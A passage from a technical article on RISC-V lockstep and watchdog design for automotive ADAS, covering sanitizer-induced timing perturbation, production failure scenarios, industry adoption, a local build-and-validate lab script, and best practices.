max cycle time:      3.465 ms
watchdog tripped:    yes
==916== ERROR SUMMARY: 0 errors from 0 contexts

This is not a bug in the lockstep or comparator logic — faults injected still equal faults detected on every single run, sanitizer or not. It’s a genuine and useful finding: instrumentation overhead is itself a timing perturbation, and a watchdog budget sized against bare-metal or lightly-loaded execution can trip spuriously the moment you run the same code under a tool that adds tens-to-hundreds of x scheduling and memory-access overhead. Valgrind’s shadow-memory interpretation alone regularly produces 20–50x slowdowns; TSan’s happens-before tracking is cheaper but still substantial, and both are enough to blow a 15 ms budget derived from 5 ms nominal cycles.

The production lesson generalizes past this demo: never validate a watchdog timeout value under the same tool you use to validate correctness. Correctness tools (TSan, ASan, valgrind) are allowed — expected — to change timing arbitrarily. Timing validation belongs on unmodified, or at most lightly-traced (ftrace, hardware performance counters), builds. Conflating the two in one CI job is a realistic way to end up with a watchdog that either never trips in the lab (because the lab always runs under a slow debug build) or trips constantly in the lab and gets its timeout “fixed” upward until it’s useless in production.

11. Production Failure Scenarios

• PMP misconfiguration at boot. If OpenSBI locks a PMP region with the wrong address range — off-by-one on a page boundary is the classic version — the Linux-hosted cores can end up with either read access into the safety core’s private memory (a security and certification problem) or, more insidiously, no access to a region they legitimately need, producing a boot-time fault that’s easy to misdiagnose as a driver bug rather than a firmware configuration error.

• Lockstep divergence from correlated, not independent, faults. As noted in section 8, two cores sharing a clock tree and voltage rail aren’t fully statistically independent. A voltage droop severe enough to affect both cores identically can produce matching wrong output — the exact failure mode DCLS exists to prevent, defeated by the assumption of independence not holding under that specific stressor. This is why automotive safety cases require explicit dependent-failure analysis, not just “we have two cores.”

• Watchdog timeout tuned against the wrong build. Section 10’s finding, promoted to a field scenario: a watchdog budget validated only under production-optimized builds can be too tight for the debug or OTA-update builds that occasionally run in the field during diagnostics, causing spurious safe-state entries that look like intermittent hardware failures to a service technician.

• Silent hang without divergence. A control loop thread that deadlocks on a lock (rather than crashing or diverging) produces neither a comparator fault nor an obviously wrong value — it simply stops. This is precisely why the watchdog thread in this demo is architecturally separate from the control loop rather than a self-check inside it: a wedged thread cannot be trusted to detect its own wedging.

• Interrupt storm starving the safety-critical hart. On a shared PLIC, a high-rate, low-priority interrupt source (a flaky sensor bus, for instance) misconfigured to a priority level that competes with the control loop’s own timer interrupt can introduce exactly the kind of tail-latency spike section 3 describes — correct code, correct hardware, still late.

Working demo Link:

12. Real-World Production Use Cases

RISC-V’s automotive safety footprint by 2026 spans the full stack, from crypto co-processors to full application cores. Rambus’s RT-645 crypto core safeguards SoCs used in V2X communications, ADAS, and infotainment — security and safety converging on the same certified RISC-V IP rather than being bolted on separately. On the compute side, Nuclei Systems reports more than 300 global licensees and billions of deployed SoCs, with its ASIL-D compliant CPUs already licensed to major automotive customers moving from Asian volume markets into Western automotive design wins. Toolchain vendors are building for this market specifically: TASKING’s certifiable, end-to-end toolchain targets automotive, aerospace, industrial, and robotics safety-critical development on RISC-V, which is a leading indicator — compiler and debugger certification investment doesn’t happen ahead of real production volume.

The centralized zonal-controller trend in modern EE architectures is where the mixed-criticality pattern from section 4 matters most in practice: rather than one MCU per function scattered around the vehicle, a single domain controller handles ADAS, body control, and increasingly infotainment on one SoC, which is exactly the environment where safety islands must provide independent supervision of the main compute cluster and where hypervisor-certified separation for Linux and AUTOSAR coexistence stops being an academic requirement and becomes the thing standing between a perception bug and a control-loop fault.

13. Hands-on Lab

The accompanying startup.sh --docker builds and validates the exact demo discussed throughout this article. It:

1. Detects the host distribution and kernel, and warns (without failing) if the host isn’t riscv64 — the demo validates the software pattern, not real RISC-V PMP/DCLS hardware.

2. Installs gcc, valgrind, and gdb via apt-get if they’re not already present.

3. Generates adas_lockstep.c from an embedded heredoc — no external file dependency.

4. Builds three binaries: a baseline (-Wall -Wextra -Werror -O2), an ASan+UBSan build, and a ThreadSanitizer build.

5. Runs all three, then runs the baseline under valgrind --leak-check=full --show-leak-kinds=all.

6. Reports a pass/fail summary for each stage, and specifically calls out if the watchdog trips under TSan — the expected, benign finding from section 10.

chmod +x startup.sh --docker
./startup.sh  --docker         # build, validate, run

Two things worth doing manually after the script runs: first, edit FAULT_INJECT_CYCLE in the generated source and rebuild to confirm the comparator catches a fault at any cycle, not just the one shipped by default. Second, run the TSan binary five or six times in a row and watch watchdog tripped flip between yes and no — that non-determinism is the section 10 finding, reproduced live rather than taken on faith.

14. Best Practices

• Never host the ASIL-D control authority on general-purpose Linux. Use Linux for perception, monitoring, and the non-safety compute cluster; keep the certified control loop on a safety-rated core running an RTOS or bare-metal safety kernel, connected by a well-defined, narrow interface (shared memory heartbeat, CAN, or a dedicated mailbox) rather than a shared address space.

• Treat PMP configuration as part of the safety case, not an implementation detail. Boot-time PMP startup belongs in the same review and test rigor as the control algorithm itself, because a PMP bug silently defeats every software isolation guarantee built on top of it.

• Validate correctness and timing separately. Sanitizers and valgrind are for correctness; never derive or confirm a watchdog timeout, a deadline budget, or any other timing constant from a run made under heavy instrumentation.

• Compare outputs bitwise, not with tolerance. A deterministic function given identical input must produce identical output; introducing an epsilon comparison into a lockstep-style check quietly converts a hard safety property into a soft one.

• Decouple the watchdog from the thing it’s watching. A control loop cannot reliably detect its own hang; the supervisor needs independent scheduling, and ideally independent hardware.

• Document dependent-failure analysis explicitly for any lockstep design sharing a clock or power rail between channels — “two cores” is not automatically “two independent cores.”

15. Summary

RISC-V’s contribution to automotive ADAS isn’t a faster core — it’s a privileged architecture flexible enough that a single vendor can build application-class, real-time, and safety-certified lockstep cores as genuinely different hardware on one die, connected through a small number of well-specified mechanisms: PMP for spatial isolation, a shared or bridged interrupt fabric, and a comparator fault line that behaves like an NMI. Linux’s role in that picture is real but bounded — it owns perception, non-safety compute, and supervisory monitoring, and it lives inside the memory partition that M-mode firmware draws before the kernel ever boots, not around it.

The demo built and validated here reproduces the software shape of that boundary — dual-channel computation, bitwise comparison, deadline supervision, an independent watchdog — cleanly enough to pass -Wall -Wextra -Werror -O2, ASan, UBSan, TSan, and valgrind’s full leak-check. Its one honest failure mode, a spurious watchdog trip under heavy sanitizer instrumentation, turned out to be the most useful thing it produced: a reminder that timing guarantees and correctness guarantees have to be validated on different builds, because the tools that give you one routinely cost you the other.